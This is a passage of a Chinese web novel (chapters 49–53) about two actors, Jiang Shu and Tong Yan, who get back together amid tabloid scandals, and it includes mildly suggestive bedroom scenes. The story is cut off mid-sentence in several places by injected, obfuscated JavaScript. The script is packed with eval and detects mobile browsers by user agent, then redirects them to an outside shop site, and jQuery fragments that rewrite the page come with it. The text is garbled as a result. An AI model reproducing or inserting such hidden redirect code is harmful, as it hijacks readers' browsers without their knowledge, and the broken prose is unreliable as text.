“你把想吃的菜都写下来，我一道一道做给你吃，好吗？”他柔声哄她。 倒把她勾得越发委屈起来。 翻身埋进他怀里，抽泣着说：“江述，我在星芒之夜看见你，就想抱你了，但你不理我，摆出一副大明星的姿态，吓唬我……” 江述想辩解两句，转念又打住了。 辩解什么呢？ 他本来都买好机票，打算剧一杀青就去英国找她的，去他的一切！天知道他想她想得快要活不下去了。 结果在化妆间里，刷到她的微博小号，发了一张脚踝受伤的照片，配文：回国第一天的见面礼。 这才知道她竟然回来了，而且没有透露一点消息。 这个狠心的女人，竟敢不告诉他。 他于是又开始恨她。 几乎咬牙切齿地等着她出现，脑子里什么也想不了，可当她出现在舞台上的一瞬间，他又原谅了一切。 一千零三十一天，她终于回来了。 美得那么张扬肆意，却一眼也不看他。 直到粉丝闹出风波，才把视线转到他脸上，那一刻，她疏离的眼神是那么陌生，令他心跳都要停了。 她说了一堆官话来回应主持人，还调皮地回怼无礼的粉丝，那么游刃有余地应付一切，仿佛根本不需要他，不想招惹他了。 看见路灯下的她毫不犹豫地转身，他心里其实忐忑得厉害。 分明是她吓唬人，如今竟反过来指责他。 这蛮不讲理的丫头。 可她还是回到他身边了，她说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744530|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都好，怎么责怪他，都不值得计较。 “我错了，不该吓唬你。你看，我把上个戏收尾，就一刻不停来找你了，别生我气了，好不好？” 她又晾了他一会儿，说：“我不喜欢你抽烟。” “马上戒。”他应得爽快，“本来也不经常抽。” 只在想她到无法克制的时候，才忍不住抽一根。 她情绪过去，又说：“我们以后怎么办呢？该怎么跟粉丝交代呢？” 江述扶起她的脸，看进她眼中，认真说：“童颜，我从来只跟你交代。如果你担心再起风波，就暂时不公开，等你不害怕了，我们再正大光明地牵手，这一次，我不逼你。” 她沉默着。 过了一会儿，却说：“我现在懂了，‘从此君王不早朝’是什么心情。哎……男色误事，我都不想拍戏了。” 他低低笑了一声：“彼此彼此。” 再不睡觉，这一夜就真要过去了。 江述还是不忍心，拍拍她说：“睡会儿吧，不用定闹钟，我叫你起床。” “哦。” 童颜捂着嘴巴，打了个哈欠。 * 第二天，童颜回到片场，头天聚餐的几位同事看她的眼神，透着一股“我猜到点什么但不是很确定”的暧昧不明。 童颜露出尴尬而不失礼貌的微笑。 江述一共不到十天的戏份，拍完还有别的行程，所以统筹安排得比较紧密，为了更好地融入角色，他也住进了剧组的酒店。 他饰演的男三号叫文开航，是个忠犬炮灰型的角色，对手戏大部分都是和女主李春天，也就是童颜饰演的角色。 头开始的一两天，童颜很不习惯。 因为文开航这角色和江述反差太大了，总是含情脉脉地看着她，说一些毫无底线的雷人情话，听得童颜忍不住笑场。 有一场戏，是李春天狠狠骂了文开航，结果第二天，文开航还是带着爱心餐来看她，卑微地说：“春天，我想过了，你骂我骂得很对！是我考虑不周，以后一定改，你就别跟我一般见识了。我听说，你今天还要去找人打架，哎，能不能别去了，要不让我替你上，你看我这身板，抗揍！你这么弱不禁风的，受伤了我会很心疼的……” “……”童颜听完直接傻了。 直到导演透过对讲机喊她，才回过神道歉：“对不起对不起，导演，我内什么，实在没见过江述老师这么舔人……” 工作人员忍不住笑。 江述也翘起嘴角，丢给她一个意味深长的眼神。 到了晚上，两人气喘吁吁间，江述狠狠一记，说：“没见过我舔人，嗯？”吮着她的嘴，翻来覆去地亲不停，“记住了，这就改。” 童颜从头到脚都红了：“不用……不用改，求你别亲了。”她软话说尽，都制止不了，一时间怒从心头起，对他拳打脚踢，“江述你别太疯……你快点拍完走人吧，我累死了唔……” 江述闻言停下来：“很累？” 童颜毫不犹豫地狠狠点头。 他像是要讨回这两年多的债，每天都把她折腾得死去活来，一开始童颜还带着补偿的心理，什么都由着他。 但这么下去不行啊，她不光身体累，还忐忑不安的。 他天天半夜跑来她房间，偷.情一样的刺激，时间长了保不齐被人发现，再传出什么难听话。 要在以前，她点了头，江述再忍不住也要忍住了。 然而现在，他听完凝神片刻，认真说了一句：“体力太差。以后早上跟我跑步吧。” “……” 50. 赌徒 江述进组第五天，李正过来了。 那天江述在隔壁的B组拍，李正看完他，又来到A组这边，找导演说话。 童颜刚结束自己的戏份，要回车上休息，李正和她打了个招呼，说：“聊聊？” 童颜就请他上了车。 “你们又在一起了？”李正开门见山问。 童颜出国以后，江述消沉了很长一段时间。他的消沉，不是像其他人一样酗酒摆烂，而是自闭一般的沉默。 仿佛童颜带走了他所有的情绪，除了饰演角色，平时生活里不喜不怒，平静得像一个机器人。 李正再没见过他跟童颜打电话，所以想当然地信了营销号的瓜，以为两人是真的扛不住压力分手了。 童颜听他这么问起，也没多解释，只是点了点头。 其实李正也是猜的，虽然江述什么也没说，但状态不一样了，像枯木逢春，还有什么猜不到的。 再说，如果不是为了童颜，江述何必来演这么个男三号。 想起这事，李正就无奈，童颜一回来，江述就又失控了。 “童颜，本来这话不该我说，但为了江述好，我少不得要来做这个恶人。你们之前分手，伤他挺深的，不光个人情绪方面。你可能不知道，你一走了之后，他经历了什么。” 那段时间，全网皆知江述童颜分手了。 江述的粉丝倒是开心了，但也有少部分粉丝和路人跳出来指责，说江述迫于压力分手，缺乏担当，令人失望。甚至有人晒出童颜在机场落泪的照片，来质问他有没有心。 不希望江述和童颜在一起的是网友。 如今两人分手了，指责他的还是网友。 江述怎么做，都不能让人满意，想想也是挺搞笑的。 那段时间媒体追着打探，问两人分手的原因，江述始终沉默，只能由他这个经纪人来应付，说是两人性格不合。 但媒体显然对这个理由不满意，总觉得有更精彩的故事值得挖掘。 李正一怒之下吐槽，要不你们看着编吧，觉得什么理由合适，自己写。 本来是内部吐槽，不知怎么流出去了，结果一语成谶，黑江述的通稿和小故事层出不穷，好像一夜之间，原本风评甚好的人变成了地狱里的恶鬼。 一场风暴接着一场风暴，直到八九个月后，江述的新片上映，口碑喜人，才终于从口诛笔伐里逃出生天，可以正常露面参加活动了。 这些事情，江述不会说，但李正想让童颜知道。 他说完见童颜低着头，一声不吭，也有点不忍。 正要说点什么缓和下气氛，突然背后传来一声：“李正，你一大老爷们说话做事能不能有点格局，看童颜好欺负是吧？” 林慧心怒气冲冲地过来了。 她虽然没听完全程，但知道李正必然放不了什么好屁，看童颜的表情就知道了。 “他们俩人的事，那是周瑜打黄盖，一个愿打一个愿挨。再说了，还不一定谁是周瑜谁是黄盖呢！你跟这瞎掺和什么？要不我也去找江述聊聊？我真是服了，三番两次当面给我们难堪，你能不能做个人啊！” 林慧心说话毫不客气，李正脸上一阵红一阵白的，心虚起来，又陪着笑脸说：“我这不也是为了他们俩人好嘛！” “你得了吧！不就是怕童颜影响江述的事业吗，司马昭之心路人皆知了……” 童颜扯了扯林慧心的袖子，让她说话别那么冲。 李正尴尬地笑了两声：“你跟我这讲三国呢，成语说得一套一套的……得了，我也不在这多事了，二位美女消消气，今儿是我多嘴了，改天请饭赔罪哈！” 说完脚底抹油溜了。 林慧心在后边奚落他一句：“那不是成语，那叫歇后语，有没有点文化！”说完看向童颜，劝道，“别生气，他就那么一人。” 童颜笑了下：“我没生气。心姐，你现在的脾气，比我以前还暴躁。” “没办法，一天天破事太多了！”林慧心吐槽了一句，转回刚才的话题，“怎么着，又黏一块了？打算公开吗？跟我说一声，我好提前做准备。” 童颜沉默一会儿，问：“心姐，赵家真倒了吗？” “是啊。” “到底怎么回事？” 童颜回国前，就听林慧心说了，去年七月份，兴达证券老板赵兴达被判处有期徒刑8年6个月，他妻子和娘家表哥等七人分别被判1-5年不等，赵氏家族一夜之间大厦倾颓。 林慧心说：“具体情况我也不是很清楚，但既然官方发文了，媒体也报道了，就肯定不会错。你要想了解，回头请李正讲讲，他能说得更清楚。” “算了。”童颜想了想，“我也不是要知道细节，就是感觉挺惊讶的，没想到就这么一两年的功夫，赵家就倒了。” 正说着话，外边有人敲门，叫去拍下一场了，童颜匆匆说了句：“我跟江述就顺其自然吧，如今也没什么好瞒着的了。” * 收工之前，潘昀也过来了。 江述在一旁等童颜收工，潘昀过去跟他打了个招呼，两人说了几句话，江述脸上竟然还带了点笑意，童颜瞥见了，不由很是震惊。 江述和潘昀的关系，什么时候这么和谐了？ 导演一喊收工，童颜径直走到两人身前，先看了看江述，又转向潘昀问：“你来干嘛？” 潘昀嬉皮笑脸：“当然是来找你啊！” 说完感受到身侧微凉的视线，潘昀撇了撇嘴。 江述正要跟童颜说话，忽听导演喊他过去，说了句：“等我一会儿。”就离开了。 他一走，童颜就说：“你老追着我干嘛呀，我不跟早跟你说了吗，我不喜欢你。” “知道知道，不用一直强调！”潘昀有些气恼，“作为你朋友来看看不多吧，放心，我不追你了，谁让你是我那哥喜欢的人……” 最后这句是嘟囔出来的，声音不大，童颜甚至怀疑自己听错了：“你说什么？”见潘昀有脸色有些尴尬，便确认自己没听错，“你们什么时候关系这么好了？” “他为你做的事，老子佩服，怎么了，不行啊！”潘昀恶声恶气。 童颜愣了下：“他做了什么事？” “你不知道？”潘昀一脸震惊。 “我该知道什么……” “赵家啊！”潘昀见童颜一脸茫然，不由看了看天，“我真是服了！算了，既然他没说，我也不多事了。” 童颜一把攥住他手臂：“你快告诉我。” 她神色恳切，潘昀犹豫着，见江述那头跟导演说得热络，脑子一转，挑眉笑着说：“你请我吃顿饭，我就告诉你。” “走吧。” 童颜毫不犹豫，撇下江述就离开了片场。 * 这顿饭吃的时间不算长，童颜回到酒店时，才刚过十点。她没回自己房间，直接去找了江述。 江述穿着浴袍来开的门，头发还在滴水，看上去是刚洗完澡。 “在外面逍遥够了？”他语气和缓，带点怨怪的凉薄，又似很无奈，“跟他见面需要背着我？打电话不接发微信……” 还没说完，就被童颜紧紧搂住了。 江述愣了一下：“怎么了？” 童颜沉默不语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751498|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他捧起她脸，打探的神情。 “没事，就想抱抱你。”说着又埋进他怀里去了。 今天晚上，她接受了太多信息，脑子需要缓一缓。 据说，她出国后不久，江述就跟潘昀联系上了。 当时潘昀一头雾水，并不知江述为什么突然示好，还以为真是为了入主东宫，争夺皇位。 谁知江述只是请潘昀喝酒，有时也参加他和朋友们的饭局、酒局，渐渐的，混成了潘昀那个圈子的编外人员，和大家关系都不错。 就这么过了大半年，一个家里有点政治背景的哥们酒后吐露，说赵家可能要倒霉了，有人举报赵兴达操纵市场，举报材料有三大箱子。 大家听完讨论了一阵，都觉得赵兴达金融巨鳄，背后的政商关系错综复杂，不会那么轻易出事。 当时江述的表情不好看，甚至可以说是失态，连别人的敬酒都没理，招呼也没打一个，突然离席了。 潘昀只是有点诧异，并未多想。 不料一周后，广电那位领导突然被查，原因是涉嫌受贿，和兴达证券之间关系特殊。一石激起千层浪，由此牵出兴达证券违规操纵市场、累计获利9亿多的犯罪事实。 五个月后，也就是2022年的3月，证监会对兴达证券及相关责任人发布行政处罚决定书和市场禁入决定书，作出没一罚五的顶格处罚，金额高达45亿。 此后，案件进一步被移送公安机关刑事追责。去年7月份，法院对赵兴达等人作出了刑事判决。 金融犯罪不同于其他，其中涉及太多专业词汇，童颜只知道赵兴达利用300多个股票账户，100多台电脑，10多位操盘手同时交易，通过异常的交易手法来炒作股票获利。 至于什么是对倒成交、拉抬股价、快速封涨停，她理解得很艰难。 “一个证券公司的老板，还不够有钱吗，为什么要做这些呢？”童颜困惑。 潘昀嗤笑一声：“你这话说的，谁嫌钱砸手啊！再说了，为保他儿子，也为了报复你，赵兴达恐怕扔出去半副身家了，不得往回收点？” “你怎么知道，这是江述做的？” “一开始我也是猜的。去年开始，他就不参加我们的聚会了，我后来私下问过，他没承认，但也没否认。”潘昀说着“啧”了声，“他怕一次举报不管用，还拉上广电那两位领导内斗，有人想高升，可不就得搞死上面的人。真TM牛逼！” 童颜听完没说话。 她忽然想起一件事。 出国前有一段时间，江述醉心研究股市行情，还花很多钱买了几支股票。 她当时不解地问：“你不怕赔了吗？” 他是怎么回答的？ “金融行业有一句话，‘当有机会获利时，千万不要畏缩不前’。” 她还嘲笑他：“你这是赌徒心态，小心赔得倾家荡产。” “没关系，反正还有你。”他说。 原来，那就是事情的开端。 在他为她而战时，她却丢下他一走了之。 童颜难以表达心中的震撼和懊悔，只好紧紧抱着他，说：“江述，我再也不要离开你了。” 江述不知童颜为什么反常，但听她如此保证，还是开怀的。 为了缓解她的情绪，他佯作生气：“说什么都没用，你最好解释清楚，为什么不等我。”说着拍了她一巴掌，“别想蒙混过关。” 童颜嘟了嘟嘴，仰头对他撒娇：“下次不敢了嘛！就原谅我一次吧……”说着踮起脚亲了他一下。 江述按住她脑后，加深了这个吻，一边亲，一边抱着她往床边走。 51. 女德 一通身体力行的惩罚之后，童颜靠在他怀里，累得不想说话。 江述抬起她下巴，说：“我过几天就走了，你一个人在这，要守好女德，听见没有？” “就不！”童颜朝他做了个鬼脸，“我天天去找帅气小哥哥玩……” 话音未落，被人含住了双唇，拖出那可恨的小舌狠狠吮弄一番，直到她喘不上气，才大发善心地放过。 童颜搂着他，怨念道：“我不想让你走……” “是谁前天还说，让我赶紧拍完走人。”他笑着揶揄。 童颜抿着嘴：“你不够爱我，说要走，说得这么冷静！” “你摸摸良心！”江述捏了捏她鼻子，“我恨不能把你装手机里，走哪都带着。但有的人梦想拿三金，我总不能拖后腿吧。” 童颜弯了眉眼：“别三金了，但凡我能拿一金，一定昭告天下，说江述是我背后最大的功臣！” “鬼丫头！” * 江述杀青那天，李正来接他，要一起飞上海进下个组。 飞机上，李正收到一封邮件，看完邮件，他瞪大眼珠子，震惊得都不会说话了。 头等舱还有其他乘客，不方便说太多，李正把电脑抱到江述眼前，憋出四个字：“……真的假的？！” 江述快速扫了一遍，说：“不假。” “！！！！” 虽然这两年，圈内偶有流传，说江述和追光的大老板关系匪浅，但李正从来没信过，只当是营销号胡说八道。 毕竟，江述这么寡淡的人，怎么可能接受潜规则。 没想到啊！没想到，不是干爸爸，是亲爸爸？！！！ 好一会儿，李正从震惊中缓过来，开始思考一个问题：江述既然有这么牛的爹，干嘛还跑到他手底下，从一个小演员开始混啊！ 李正有太多疑惑，一时没法问，只好先解决眼前的问题。 这个写匿名邮件的人虽然没明说要钱，但目的却很明显。 如果他们出钱买断，短期来看确实最保险，但不能保证以后不会被勒索。 如果不买断，江述是私生子的瓜肯定会被曝出来。虽然不是违法犯罪的事，但毕竟不好听，恐怕会被人贴标签。 “怎么办？”李正把决定权交给江述。 江述淡定说：“不用理会。” 李正琢磨了一会儿，叹了口气：“我还是先跟他周旋周旋，看看他手里是什么资料。” * 私生子瓜爆出来那天，童颜一整天的重场戏，白天没顾上拿手机，到了晚上才看见。 话题词条是#江述潘秋生#，够简洁，也够引人遐想。 实时广场上粉丝忙着控评，路人忙着吃瓜，不怀好意的人在胡编乱造，说江述能火都是资本的操作，还有人扒江述的留学经历和亲属关系……乱七八糟说什么的都有。 童颜当即给江述打视频。 他穿着T恤和睡裤，正坐在沙发上看剧本，接起来就说：“一直在等你，怎么这么晚，今天戏份很重吗？是不是很累？” 语气如常，嘴角带点笑意，让她差点忘了打视频的目的。 “你还好吗？”童颜问。 江述说：“不好。”语声顿了顿，续道，“每天都想你。” 童颜心软的不行，恨不能穿过手机，瞬移到他身边。这么想着，就坐不住了，焦急地在房间里走来走去。 江述见状不逗她了：“网上的事，我没受影响，你也少看。”说着叹了口气，“别转圈了，手机放好，让我看看你。” 童颜忙把手机往前举了举，说：“我过两天有上海的行程，到时候去找你。” 江述问：“几号？” “三十号。” “好，等你。”他说着伸手到屏幕上，摸了摸她的脸，“早点睡觉，不要让我担心，嗯？” 明明她是来安慰人的，最后反倒成了被安慰。 童颜乖乖说了个“哦”。 “你在看剧本吗？那继续看吧，但是不要挂断视频，我去洗漱，然后你守着我睡觉。” 江述宠溺地笑着：“好——去吧。” 虽然他表现得无所谓，但童颜还是觉得，江述肯定不愿意和潘秋生牵扯在一起。 想了想，她让人紧急定了一辆应援咖啡车，第二天送到了江述的剧组。 粉嫩嫩的房车上贴着江述的剧照，车旁竖着易拉宝，上面印着童颜的半身照，笑得眉眼弯弯，配文：支持全世界最好的江述！ 工作人员在车里派发咖啡，剧组一片沸腾，纷纷打卡拍照。 江述也拿着咖啡拍了一张，发给童颜。 很快收到她的回应。 @童颜YY：咖啡好喝吗？@江述 一时间，两人扑朔迷离的关系成为焦点，引爆了社交网络，彻底盖掉了私生子的消息。 三十号那天，童颜去上海参加某短视频平台的新春活动，在后台遇见了老熟人，孙艺涵。 今时不同往日。童颜出国前，风头可与孙艺涵匹敌，甚至话题度还要超过她，如今却是被碾压了。 童颜录制结束，往录音棚外走的时候，孙艺涵才姗姗来迟，带着五六个工作人员，浩浩荡荡地与她迎面撞上。 童颜本不欲理她，谁知孙艺涵停下脚步，跟身边人说：“我和童颜老师说两句话，你们先进去。” 童颜团队的人也先去车上了。 林慧心走前，拿眼神疯狂暗示她，忍住脾气，别惹事。 真是的，怎么那么不相信她。她早已不是莽撞的嬛嬛了，他现在是钮祜禄童颜好吗。 就剩下两个人了，童颜收起手机，冷着脸道：“有话快说。” 孙艺涵笑起来，问：“寿导的剧，拍摄顺利吗？” 原本这剧的女主第一人选是孙艺涵，但她对片酬不满意，拖着寿浩辉，本想耍耍大牌，也想等等江述那边确定的信儿，谁知寿浩辉转头就定了童颜。 孙艺涵难以接受在她还没决定时，被人换下来，尤其这人还是她的死对头，这无异于打了她一个耳光。 童颜见她几欲呕血，还要装出一副云淡风轻的体面，心里别提多开心了，于是轻快地说：“非常顺利。” “那就好。”孙艺涵嘴角仍然弯着，眼里却没有丝毫笑意，“本来呢，我还在犹豫，手里有不少好本子，都是奔着上星去的，网剧嘛，毕竟还是……不过寿导确实是个不错的导演，你刚回归，在他组里历练历练，对你有好处。” 话里话外意思是，这剧她原就是看不上的，童 () { $(''.inform'').remove(); $(''#content'').append('' 颜没资源，连个网剧都要抢着上，多少有点饥不择食了。 孙艺涵本想刺激童颜，可童颜根本不生气。 本来嘛，她淡出三年，没有好资源很正常，演网剧也没什么丢人的，有剧演她就很开心了，所以无论孙艺涵怎么阴阳怪气，童颜都无动于衷。 “祝你以后的作品，个个上星哦！千万不要来跟我们这种没资源的抢网剧。” 这下把孙艺涵架上去了，万一哪天她出演了网剧，那就是啪啪打脸。 孙艺涵神色僵了一下，很快转了话题：“听说，你跟江述又在一起了？” 童颜听她提起江述，心头闪过不快。 当初和魏子铭怎么分手的，教训还在眼前，如果孙艺涵敢去招惹江述……只要想一想，就感觉呼吸不畅。 “孙老师，你是不是爱上我了呀？”童颜面带讥讽地问。 孙艺涵一愣。 “不然怎么跟我有聊不完的话题？每次见面，都是你主动跟我搭话，让人受宠若惊的。我其实觉得，咱们关系一般欸，你看，我都没有不知分寸地问你，跟魏子铭有没有在一起呀？” 孙艺涵再也撑不住假笑，眼里的恨意仿佛要撕了她。 童颜身心舒泰，绕过她就走。走了两步忽然说：“哎呀，你脚边有条蛇。” “啊啊啊啊！哪里有蛇？！！” 孙艺涵花容失色，跳着脚尖叫，边叫边到处找，很快反应过来被童颜戏弄了，于是咬牙切齿地冲她喊了一句：“你他妈是不是有病啊！” “开个玩笑，别生气嘛！”童颜捂着嘴笑，“好好录制哦，千万别因为我影响心情。拜拜！” 回到车上，孙艺涵一看她脸色，就知道这嘴仗打赢了，无奈地笑了笑，不妨让她更高兴点。 “乔乐马上要回来了。” “真的？”童颜有点开心，眼睛亮亮的。 林慧心点头：“你离开这两年，她去带别的艺人了，还考了个经纪人资格证，前几天联系我，还想回来跟你。至于晓君，那姑娘玩新媒体有点天赋，我把她调到宣传那边了。” “哦。挺好。”童颜说着想起一人，“心姐，你抽空帮我勾搭勾搭刘……叫什么来着，孙艺涵身边那跟班？” “刘梓兮？”林慧心面露狐疑，“你想干嘛？” “哎呀你先别问那么多，先勾搭看看嘛……” 即使童颜没说清楚，林慧心多少也能猜到，戳了下她额头说：“你就胡闹吧！” 童颜离开影视园区是下午六点多，天已经黑了，正是上海的晚高峰。 她给江述发微信问位置，收到晨星的回复：「颜姐，述哥在外滩这边拍，大概七点半收工，他让你先回酒店，你在哪，我去给你送房卡。」 这么久哦。 童颜想了想，回一句：「我先自己逛逛，等他拍完来找我吧。」 晨星：「哦，那你在哪，我一会儿告诉述哥。」 不开美颜：「不用，他能找到我。」 童颜在福州路找了家咖啡馆，边喝咖啡边等人。 时间快到的时候，她离开咖啡厅去延安东路和四川中路的夹角站着等他。 不多时，听见身后有人说：“美女，加个微信？”声音带着笑意，尾字如轻羽，勾人。 52. 浪漫 童颜抱起手臂，说：“不行，我男朋友不同意。” “你男朋友又不在这。”身后人又道。 “他在。” “哦？他在哪？” 童颜笑吟吟转过头，一把搂住他脖子，亲了下嘴唇：“他在这呀！” 江述环住她腰，紧紧扣在怀里，脸埋在她颈侧深呼吸，叹息着说：“终于抱到了。” 两人相拥片刻，江述问她：“想吃什么？” “嗯……”童颜想了想，提议，“披萨？” 江述牵起她手：“走吧。我们去吃披萨。” “不想去店里，你肯定会被认出来。我们叫个外卖，送到酒店，一会儿回去吃。现在我想散散步。” 江述点头，牵着她往僻静处走。 一月底的天，空气里都是清寒之气，江述将她手揣进口袋里，沿着四川中路往南。 童颜走路很不安分，一会儿这扭扭，一会儿那看看，忽指着街角一家店的招牌念：“农夫山泉，送水到府。不是到‘家’，是到‘府’，你看人家用词多雅。” “嗯。口渴吗？” 童颜点头：“渴。”江述正要去买水，忽然被她拽住，一踮脚就亲上去，笑眯眯说，“现在不渴了。” 摩托车和行人在霓虹灯里来往穿梭，时有汽车鸣笛，喧嚣的夜色里，江述眼里只有这个一脸得色的丫头。 喉间动了动，他转身就走。 “你干嘛去？”童颜问。 “买水。” “我不渴呀！” “我渴。” 他的眼神，倒不像是渴了。 童颜有点羞涩地低下眼，松开了他的手。 江述买完水喝了几口，揣进大衣口袋里，仍牵着她往前散步。 中间有一段，路上行人只有他们两个，街灯昏黄的光洒在平阔的路面上，二人的身影时而在身前，时而在背后，深深浅浅地变换不停。 童颜牵着他手晃了晃，说：“江述，我在伦敦时，每天放学都会经过泰晤士河岸，天气好的时候，能看见夕阳和晚霞，粉色和紫色铺满整个天空，连河水和游轮也被染成了紫粉色，特别特别壮丽的美……我站在岸边看着，有时会忍不住掉眼泪，想着你要能陪我一起看多好。” 江述停住脚，认真听着。 童颜扯了扯肩上背的黑色帆布袋，袋子外面缝着一只长腿青蛙仔：“你看，我每次都把它当成你，跟你说话，有时气急了还会打你。” 话音落，江述将她一把拉进怀里，紧紧抱住了。 “我觉得，跟你一起散步是这世间最浪漫的事。”她说。 江述胸腔起伏难抑，沉默了好久说：“知道了。” 童颜嘟囔一声：“又是知道了……这算什么回答，我在表白欸，你给点回应嘛……” 江述低笑了一声：“现在不方便。”说着就捧起她脸，问，“我们回去？” 分明是性子清冷的人，却有那么炙热的眼神，童颜被他看得忍不住红了脸，轻轻点了点头。 江述牵起她的手往东，转进江西中路走了几分钟，就到了上海威斯汀大饭店。 二十六层的行政套房可观江景，但童颜没机会看，房门刚关上，江述就扶着她颈后，径直吻了上去。 凌乱的脚步令她心砰砰直跳，灼.热的呼吸唤醒了全身每一个毛孔，她战栗着圈上他的脖子，脚尖轻轻一点，就被他抱了起来。 “江述……”她眼光迷离，应付着密集的吻。身上一凉，慌乱地抱紧他寻求安全感，转瞬就被掩在被子下，“你就想这些……” 她轻轻怨怪地说。 粗.重的喘xi里，他惩罚似的撞：“你不想吗？” 她抿着嘴没说话，又听他说：“这就是，我的回应……” “唔！”她感觉心脏都要出来了，口中忍不住溢出一声，手指在他背后抓挠，“想的……我好想你江述……” 一句话烧干了他所有的理智。 …… 童颜第二天还有戏份，天不亮就要走，一次之后，江述就抱她去洗漱。 躺在浴缸里，热水软软地浸泡着皮肤，窗外是绚烂的城市夜景，但童颜已经昏昏欲睡，没力气细看了。 “春节回北京吗？”江述抱着她问。 童颜懒懒地说：“有四天假，回去看看姨妈。你呢……哦对，你是不是要上春晚？” “嗯。在家等我？我们一起去给姨妈拜年，好吗？” “哦。”童颜应了一声，仰头笑他，“丑媳妇要见公婆了吗？” 江述挠她肋处，痒得她咯咯笑着躲避：“不说了不说了……述哥哥饶了我吧！”换来一阵气促的热吻。 * 童颜回到剧组那天，乔乐也回归了。 乔乐之前是向旭尧的助理，向旭尧选秀出身，唱跳俱佳，结果夺冠即巅峰，出道后资源一直不佳，后来不知怎么的，跟孙艺涵搞在一块了。 孙艺涵知道乔乐曾经做过童颜的助理，几次三番想从她这打探消息，乔乐嘴严，孙艺涵见打探不成，就经常找理由责骂她，乔乐苦不堪言，因此和孙艺涵的助理新慧结成了革命同盟。 从新慧那里，乔乐知道了孙艺涵很多黑料，包括曾经联络娱记抹黑童颜的事。 童颜一听，好啊，这可不是刚犯困就有人递枕头，于是攒巴攒巴，把这些料整理在一起，找营销号铺天盖地传了一波。 赶在春节前夕，各大明星光鲜亮丽参加春晚彩排的时候，孙艺涵却丑闻缠身。 其中有一桩是，孙艺涵录制一个红色旅游景区的宣传片，指着宣传墙上的烈士照片调笑说：“长得很帅，就是鼻孔有点大。” 话音刚落，带领参观的领导们全都黑了脸。 经纪人周琴见状忙打圆场，说：“长得帅的兵哥哥都上交国家了，有他们保家卫国，才有我们今天的太平盛世啊。” 敷衍过去之后，周琴又私下去跟领导道歉，总算没被曝出来。 这种对烈士不敬的事，是广大网友最不能接受的，一时间，孙艺涵遭到了口诛笔伐。春晚第三次彩排时还有她的路透，到了第四次，直接查无此人了。 网友嘴损，骂起来花样百出。 “人家的鼻孔，怕比你的脑子还大吧。” “这下可好，春晚上不成，回去抠脚丫子了……” “还有人不知道，侮辱烈士是要去踩缝纫机的吗？” “孙艺涵到底是凭什么火的？童颜起码还有张脸，她有啥？蹩脚的演技吗……呕！” “… () { $(''.inform'').remove(); $(''#content'').append('' …” 童颜本来在开开心心看热闹，冷不防被机枪扫射到，丢下手机“哼”了一声：“我认同你的每一个字，但不喜欢这句话！” 吐槽完舒服了，扫了眼旁边，见林慧心正抱着手机发微信，问：“心姐，你在跟谁聊啊？” “刘梓兮。鱼上钩了。” * 除夕上午，童颜落地北京。 乔乐陪着她取完行李，两人正往外走时，忽然接到魏子铭妈妈的电话。 童颜犹豫了一下，点了接听。 “喂，阿姨。” “童颜你好，听说你今天回北京，不知道方不方便，请你出来坐坐？” 童颜一时没说话，正在想怎么拒绝，就听魏母又道：“耽误不了太多时间，就几句话，你看……” “好的。您把地址发过来吧。” “我让司机去接你了，他应该在出口等你。” “……” 童颜再次感到迷惑。 不知道为什么，魏母总能准确地获知她的信息，她简直怀疑魏母在她身上装了定位器。 再次坐到魏家的车上，童颜丝毫没有当初的忐忑，只想早点应付完差事，回姨妈家等江述。 她们约在鼓楼东大街的静水咖啡厅，魏母还是那般仪态端庄，强势的感觉却敛去不少。 二人落座，童颜要了一杯手冲拿铁。 沉默片刻，魏母说：“前些日子，我的同行提到倪一笑的案子，原来，童小姐在其中参与了那么多……很勇敢。” 若非魏母提起，童颜很久没想起这件事了，闻言垂着眼说：“您过奖了。不知您找我，是有什么事要聊？” 她开门见山，魏母也不再兜转，放下咖啡杯说：“还是为了子铭。我想跟你说声抱歉，先前我棒打鸳鸯，害你们分开。这两三年来，子铭一直没有真正开心过，我私心里希望，你和他能重新交往……” 关于魏子铭，童颜知道一些消息。 听说他这三年连扑了两部剧，电影口碑和票房都不佳，被业内一些人称为“过气男星”。 跨年夜那晚，童颜接到他的电话。听上去是喝醉了，说话颠三倒四，问她还要不要他。 物是人非，童颜不免有些伤感，但还是明确拒绝了他，之后就没再联系过。 “阿姨，我们已经分手了，各自也有了新的生活，彼此最好不要再打扰。魏子铭是坚强的人，眼下只是一时的困境，我相信他会走出来的。” 童颜说了几句客套的官话，但态度很坚决，魏母见状沉默片刻，退了一步说：“分了手，也还可以做朋友嘛，你们又是同行，偶尔可以出来坐坐，聊聊天也好。” 童颜摇头笑了一下：“我从来不和前任做朋友。在我心里，分手了就是陌生人。抱歉阿姨，这个忙我帮不了你。” 魏母端起咖啡喝了一口，脸色有点不好看。 正在这时，身后有人叫：“童颜。” 她转头一看，竟然是江述，瞬间眼睛里爆发出光彩，微笑着对魏母说：“我男朋友来接我了，如果没有别的事，我先走了，感谢您的招待。” 说完颔首施礼，起身离开了座位。 雀跃地小跑到楼梯口，童颜一把抱住他手臂，问：“你怎么来了？” 53. 红包 江述前天回的北京，录制春晚的第五次彩排，今天有一个采访，已经结束了，接下来的安排就是陪童颜回姨妈家。 他一把攥住她冰凉的手，往下拉一拉她帽檐，盖住耳朵，说：“来看看你为什么下了飞机不回家，在外野跑什么？” 